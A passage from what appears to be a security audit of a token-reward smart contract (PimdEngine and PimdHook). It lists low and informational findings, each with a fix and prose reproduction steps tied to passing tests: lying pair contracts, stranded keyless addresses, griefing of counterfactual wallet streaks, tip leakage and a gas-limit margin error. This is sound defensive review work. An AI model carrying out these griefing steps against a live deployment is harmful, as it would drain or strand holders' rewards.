     Any pooled-PIMD contract without the token0/token1 selectors (a Curve-style pool, a vault, a bonding curve) is in the same class as (a). The guarantee the NatSpec gives is against unmodified V2/V3 pair code, which cannot do either; the launch material should not claim more than that. Merged from audit_permissions, audit_math, audit_economics and audit_flow, which report the same mechanism with different example contracts.

     No code-level fix closes (a); re-probing in tally was rejected for gas reasons already stated in the source. Reported, not proposed.

     whole finding

     Harness as test/pimd/PimdBase.t.sol.

     (a) Deploy LyingPair whose token0() returns PIMD unless msg.sender == engine, in which case 0xBEEF; token1() returns 0xdead.

     Transfer 1,000,000 PIMD to it, register([pair]): expected skipped, actual registered.

     Warp 2 days, fire/tally/pay: the pair receives 29,487,906,066,015,158 wei IMD. prune([pair]) leaves it registered.

     (b) Deploy MutablePair with token0 = 0xdead and a setter; fund and register it (accepted); warp 2 days; set token0 = PIMD; run an epoch: it is paid as a pair.

     Both in test/scratch/Leads.t.sol (test_a_pair_that_lies_to_the_engine_registers_is_paid_and_is_never_prunable, test_a_contract_that_turns_pair_shaped_without_new_code_keeps_earning_until_pruned), both pass, i.e. both behaviours reproduce.

     whole reproduction

   • lowAny keyless or sweep-less address at or above 0x100 can be funded, registered by a stranger and paid for ever, stranding its share of every dripsrc/pimd/PimdEngine.sol:287

     Answer to the brief's fourth question. The bind exclusion list (token, IMD, hook, launch factory, PoolManager, engine, team, address(0), DEAD, plus alsoExclude) and the precompile ceiling cover the addresses the launch itself puts PIMD into and the 256 addresses below 0x100. The class is open-ended: address(0x100) itself, vanity burn addresses, any CREATE2 address never deployed to, and any contract with no ERC-20 sweep (WETH, Permit2, another token contract, the test router).

     A stranger sends minBalance PIMD to one and calls register. It is codeless or not pair-shaped so _isPool passes it; no code ever arrives so _shapeChanged never fires; its balance never falls so neither prune nor _reclaimSlot can remove it; and IMD's plain transfer to it succeeds, so _send reports success and the IMD is gone rather than returned to the pot.

     From fourteen days on it earns at 3x on its bag and dilutes every honest holder by its share, and excluded is write-once so nothing can be done after bind. Nobody profits and the griefer loses the bag (0.1% of supply per entry at the production minimum), which is why this is low. It is recorded because the precompile exclusion reads as if it closes the keyless case, and because the only full mitigations change the delivery model (pull-based claims or self-registration).

     Merged from audit_math and audit_economics.

     whole finding

     Harness as test/pimd/PimdBase.t.sol.

     Register alice on a bought bag.

     Transfer 1,000,000 PIMD to address(0x100) and call register([0x100]): expected refused like a precompile, actual registered.

     Warp 15 days, fire/tally/pay: imd.balanceOf(0x100) == 29,487,906,066,015,158 wei and nothing can move it. prune([0x100]) leaves it registered. test/scratch/Leads.t.sol::test_a_keyless_address_above_the_precompile_ceiling_registers_and_strands_drips passes, i.e. the behaviour reproduces.

   • lowA stranger can void a counterfactual smart-account holder's matured streak by deploying the account through its public factory, then prune itsrc/pimd/PimdEngine.sol:682

     Answer to the brief's second question. There is no reachable state in which a holder earns nothing and cannot be pruned: _shapeChanged is the same test in tally, prune and _reclaimSlot, so whatever it zeroes it also lets out, and a wallet that later clears a 7702 delegation goes back to a plain shape with vettedCodeless false and keeps earning. That part is confirmed.

     The bluntness has a cost the NatSpec does not mention: it assumes only the holder can make code arrive at their address. For a counterfactual smart-account address that is false.

     ERC-4337 account factories expose createAccount(owner, salt) to anyone and the account lands at the address the owner has been funding, so a holder who received PIMD at a not-yet-deployed account, registered it and matured a 3x streak can have the streak taken by a stranger who pays the deployment gas: the next tally weighs them at zero, the stranger prunes them, and re-registration starts the clock from zero with vettedCodeless false.

     The holder loses up to fourteen days of maturation per address; no funds move; attacker cost is gas. Reported from audit_permissions and confirmed. A fix that keeps the blunt check would key the shape test on code hash rather than code presence, or not restart the clock on re-registration after a shape-only removal; both are design choices.

     whole finding

     Harness as test/pimd/PimdBase.t.sol.

     AccountFactory.predict(owner, salt) gives W with no code.

     Transfer 1,000,000 PIMD to W, register([W]), register alice too, warp 15 days: holderInfo(W).tierBps == 30000.

     A stranger calls factory.deploy(owner, salt); W now has code.

     Run an epoch: imd.balanceOf(W) == 0.

     The stranger calls prune([W]): W is unregistered. register([W]) again: registered with tierBps == 0. test/scratch/Leads.t.sol::test_a_stranger_can_void_a_counterfactual_wallets_streak passes, i.e. the behaviour reproduces.

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   • lowtally still pays tipPerHolder on the tw == 0 path and fire's tip stands, so a null epoch moves IMD from the pot to the caller while totalDripped stays 0src/pimd/PimdEngine.sol:455

     The M4 fix stops fire arming a tip budget and paying fireTip when drip == 0 or the set is empty. The symmetric case was not closed: when the set is non-empty but every holder weighs zero, fire arms tipBudget (5% of the drip) and pays fireTip, tally returns epochQuote to the pot and goes Idle, and then still pays tipPerHolder times the entries walked.

     Nothing was distributed, EpochPaid is not emitted and totalDripped does not move, yet up to 5% of that cycle's drip left the pot, and fire can be called again after minInterval. tw == 0 for the whole set is reachable with no attacker in the first hour after the first registrations (every tier is 0x under an hour), and with one: a set padded with ghost entries below minBalance weighs zero and still pays tipPerHolder per ghost walked, 2.4 IMD for 800 at the production value, bounded only by the 5% budget of each cycle.

     Bounded and non-compounding, so a leak rather than a drain, but it is the case M4 was meant to close. Merged from audit_permissions, audit_math and audit_flow. The minimal change that keeps the tip policy is to skip _tip on the tw == 0 branch, mirroring fire.

     whole finding

     Harness as test/pimd/PimdBase.t.sol (fireTip 0.02 IMD, tipPerHolder 0.0005 IMD). alice buys 500 IMD of PIMD and registers.

     Warp 30 minutes (inside her first hour). keeper calls fire then tally(1).

     Phase goes Tally then Idle, totalDripped() == 0, epochQuote() == 0 (returned to the pot).

     Expected if tips reward distribution: keeper's IMD balance unchanged.

     Actual: keeper's IMD balance rises by 20,500,000,000,000,000 wei (fire tip plus one tally tip) out of the pot. test/scratch/Leads.t.sol::test_a_null_epoch_still_pays_tips_out_of_the_pot passes, i.e. the behaviour reproduces.

     whole reproduction

   • lowThe 900 constructor ceiling is measured in the cheapest tally state; with every balance changed since the last tally 900 holders cost 33.3M gas and cannot be weighed under the 32M ArbOS limitsrc/pimd/PimdEngine.sol:194

     The comment above this line, the deploy script and test_the_holder_bound_fits_the_chains_per_transaction_budget all use 34.6k gas per weighed holder, measured by Gas.t.sol with every balance unchanged since registration, where the lastBal/streakStart slot is rewritten with the same value (100 gas). In a traded market balances change between tallies, which makes that write a nonzero-to-nonzero SSTORE (2,900 gas) and the streak blend runs.

     Measured on this code with every holder's balance changed since the last write: 38.0k per holder at 100 holders, 37.0k at 800 and 900 once the fixed overhead is amortised; 800 holders cost 29.6M (92.5% of 32M) and 900 cost 33.3M, which cannot execute.

     So the ceiling that exists so that an unweighable set cannot be configured admits one, and with no owner and prune only able to drop dead or pool-shaped entries an engine deployed at 900 would cycle fire, tally-reverts, abortEpoch for ever once full. The launch value of 800 does fit today, so this is a margin error rather than a live failure; the comment, the script and the ceiling should carry the changed-balance number. Reported from audit_flow and confirmed by measurement.

     whole finding

     Engine with maxHolders n, minBalance 100,000 PIMD.

     Register n holders each holding minBalance + 1 PIMD, then transfer 1 PIMD more to each so every balance differs from the lastBal written at registration; warp 2 days; fire; measure tally(n) with gasleft().

     Actual: n=100 unchanged 3,456,897 (34,568 per holder, matching Gas.t.sol); n=100 changed 3,802,297 (38,022); n=800 changed 29,609,769; n=900 changed 33,296,705 > 32,000,000.

     The same figures under forge test --isolate. test/scratch/GasWorst.t.sol prints them.

     whole reproduction

   • lowbind excludes the engine's team immutable but never checks or excludes the hook's team(), so a deploy where TEAM_MULTISIG differs from PimdHook.TEAM_WALLET leaves the wallet the hook pays registrablesrc/pimd/PimdEngine.sol:249

     The engine's team immutable is used in exactly one place, the exclusion list at bind. The hook carries its own copy as TEAM_WALLET and that is the address that receives 25% of every tax. bind validates the hook's engine(), quote(), token(), poolManager() and launchFactory() against the engine's configuration precisely because bind is one-shot and a mismatch would be unrecoverable, but IPimdHookLike does not declare team() and nothing compares the two.

     The deploy script takes the engine's team from TEAM_MULTISIG with no assertion that it equals the hook constant. If they differ, the wallet that actually receives the team's IMD can hold PIMD and be registered by anyone, which test_team_is_excluded_from_drips says must not happen, while an address that receives nothing is excluded instead. Exclusion is write-once so it cannot be corrected afterwards.

     The wallet can forward IMD so nothing is stranded; the effect is that the team farms the holders' pot, against the stated policy that the team never holds PIMD. Merged from audit_permissions and audit_flow. The one-line fix is to require h.team() == team at bind, or add h.team() to the exclusion list.

     whole finding

     Harness as test/pimd/PimdBase.t.sol.

     Deploy a second engine with team = X.

     Deploy a second harness hook with engine = that engine and team() = Y, Y != X, open its pool through the factory, bind. excluded(X) is true, excluded(Y) is false.

     Transfer 1,000,000 PIMD to Y and call register([Y]): holderInfo(Y).registered is true. test/scratch/Leads.t.sol::test_the_hooks_team_wallet_is_not_excluded_when_it_differs_from_the_engines passes, i.e. the behaviour reproduces.

   • infototalToTeam and the Flushed event book the pre-tip team slice, overstating what the team received by every outside caller's tipsrc/pimd/PimdHook.sol:451

     On the engine's path the tip is zero and the commit's test asserts totalToTeam == owedTeam there, where it happens to be exact. On every other flush tip = min(callerTip, 20% of toTeam) goes to msg.sender and the team receives toTeam - tip, but totalToTeam += toTeam and Flushed(msg.sender, toHolders, toTeam, tip) both book the full slice as paid to the team.

     There is no tips counter, so the lifetime stat the site reads drifts from the team wallet's balance by the sum of all outside tips. Accounting only; no IMD moves wrongly. From audit_math, confirmed.

     Fix: book toTeam - tip, or add a tips counter.

     Harness as test/pimd/PimdBase.t.sol. alice buys 100 IMD of PIMD: teamOwed = 0.6 IMD. keeper calls flush().

     Expected: totalToTeam equals what the team wallet received.

     Actual: totalToTeam() == 600,000,000,000,000,000 while the team's IMD balance rose by 590,000,000,000,000,000 and the keeper's by 10,000,000,000,000,000. test/scratch/Leads.t.sol::test_totalToTeam_counts_the_caller_tip passes, i.e. the behaviour reproduces.

   • infoA sale restarts the streak only if it is still visible at the next tally; selling and buying back the same amount inside one epoch window keeps the tier, contrary to the NatSpec and READMEsrc/pimd/PimdEngine.sol:427

     The token has no transfer hook, so the engine can only compare the balance at this tally with lastBal from the previous one. A holder who sells and buys back at least the same amount before the next tally shows bal >= lastBal: equal keeps streakStart untouched, larger blends it by size, and neither restarts it.

     The NatSpec on tally says selling 'still restarts the streak immediately' and the README says selling restarts the streak; between two tallies (15 minutes at the keeper's cadence, 2 minutes at the floor) neither is true. Weight is still bounded by min(bal, lastBal) so nothing is over-counted; this is a documentation mismatch, recorded from audit_flow so the stated economics match the code, not a proposal to change them.

     Harness as test/pimd/PimdBase.t.sol. alice buys 100 IMD of PIMD, registers, warps 15 days and an epoch runs: tierBps == 30000.

     She sells half her bag to the pool, then buys back exactly the amount sold with an exact-out buy, all before the next tally.

     15 minutes later an epoch runs.

     Expected per the documentation: tierBps == 0 for an hour.

     Actual: tierBps == 30000. test/scratch/Leads.t.sol::test_a_sale_undone_before_the_next_tally_keeps_the_tier passes, i.e. the behaviour reproduces.

   • infofire's nested try/catch around flush and flushHolders is safe but silent: a pull that fails every time leaves no on-chain tracesrc/pimd/PimdEngine.sol:356

     Answer to the brief's question on the pattern.

     It is safe in the ways that matter: the hook is bound only after bind verified it answers engine()/quote()/token()/poolManager(), so there is no codeless target or return-decoding failure that escapes the catch; the hook's unlock closes before flush returns, so _book and the epoch run with the PoolManager locked; a reentrant call into the engine from inside flush is blocked by nonReentrant; and the 63/64 rule means a caller cannot starve flush into the catch while keeping enough gas to finish fire.

     The weakness that hid one breakage before is unchanged: both catches are empty. If IMD ever refuses the engine, or the hook reverts for any other reason, fire succeeds, books no income, opens an epoch on the existing pot and emits only Fired, so the chain state is indistinguishable from a quiet market while holdersOwed grows at the hook. Recommend emitting an event carrying the pending amount in the inner catch; no behavioural change.

     From audit_math, confirmed.

     whole finding

     Harness as test/pimd/PimdBase.t.sol. alice buys 200 IMD of PIMD and registers; hook.holdersOwed() > 0. vm.mockCallRevert(imd, transfer(engine, *)) so both flush and flushHolders revert.

     Warp 2 days, keeper calls fire(): it does not revert, totalIncome() == 0, hook.holdersOwed() is unchanged, no event other than Fired.

     Expected for an unattended keeper: a visible signal that the pull failed. test/scratch/Leads.t.sol::test_fire_succeeds_silently_when_both_pulls_revert passes, i.e. the behaviour reproduces.

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